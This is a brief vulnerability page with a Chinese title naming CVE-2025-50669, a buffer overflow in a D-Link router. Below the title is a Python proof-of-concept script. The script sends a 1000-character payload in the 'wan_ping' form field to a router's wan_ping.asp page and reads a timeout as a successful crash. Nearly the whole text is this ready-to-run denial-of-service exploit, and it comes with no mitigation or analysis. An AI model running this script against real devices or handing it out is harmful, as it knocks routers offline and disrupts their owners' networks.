CVE-2025-50669 D-Link路由器缓冲区溢出漏洞

import requests # Target settings target_ip = "192.168.0.1" # Replace with vulnerable device IP target_url = f"http://{target_ip}/wan_ping.asp" # Construct payload: A long string to trigger buffer overflow # Adjust length based on specific buffer size analysis (e.g., 1000 bytes) payload = "A" * 1000 # Prepare data parameters data = { "wan_ping": payload } headers = { "Content-Type": "application/x-www-form-urlencoded" } try: print(f"Sending payload to {target_url}...") response = requests.post(target_url, data=data, headers=headers, timeout=5) print(f"Response Status Code: {response.status_code}") # If the device crashes, the connection may fail or timeout if response.status_code != 200: print("Potential vulnerability triggered.") else: print("Request sent successfully. Check device status for crash.") except requests.exceptions.Timeout: print("Connection timed out. Device may have crashed (DoS).") except Exception as e: print(f"An error occurred: {e}")